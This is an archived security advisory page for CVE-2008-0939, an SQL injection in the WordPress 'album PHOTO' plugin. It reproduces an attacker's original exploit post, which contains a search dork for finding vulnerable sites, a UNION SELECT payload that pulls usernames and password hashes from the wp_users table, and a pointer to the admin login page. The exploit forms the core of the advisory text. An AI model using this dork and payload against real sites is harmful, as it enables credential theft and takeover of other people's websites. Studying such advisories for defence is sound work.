SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
Search :
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

WordPress album PHOTO SQL Injection


Arrow  SecurityAlert : 3693
Arrow  CVE : CVE-2008-0939
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : Yes
Arrow  Credit : S@BUN
Arrow  Published : 25.02.2008

Arrow  Affected Software : WordPress album PHOTO



Arrow  Advisory Text :  

###############################################################

#

# WordPress album PHOTO SQL Injection

#

###############################################################

#

# AUTHOR : S@BUN

#

# HOME 1 : http://www.milw0rm.com/author/1334

#

# MAİL : hackturkiye.hackturkiye (at) gmail (dot) com [email
concealed]

#

################################################################

#

# DORK 1 : allinurl: page_id album "photo"

#

################################################################

EXAMPLE

http://xxxxxxxx/?page_id=13&album= [exploit]

EXPLOİT

S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,us
er_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admi
n%201=%201

################################################################

admin login = www.xxxxx.com/wp-admin

################################################################

# S@BUN i AM NOT HACKER S@BUN

################################################################





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Multiple Vendors libc/gdtoa printf(3) Array Overrun

Security Risk High- 2009-05-30

SecurityReason realised new advisory about vulnerabilities libc/gdtoa...

Apache RSS Apache Alert

» Apache Tomcat
   RequestDispatcher
   directory traversal
   vulnerability

» Apache mod_dav / svn
   Remote Denial of Service
   Exploit

» Apache Tomcat Information
   disclosure

» Apache Tomcat User
   enumeration vulnerability
   with FORM authentication

PHP RSS PHP Alert

» PHP 5.2.9 curl safe_mode
   & open_basedir bypass

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

Copyright © SecurityReason.com. All Rights Reserved.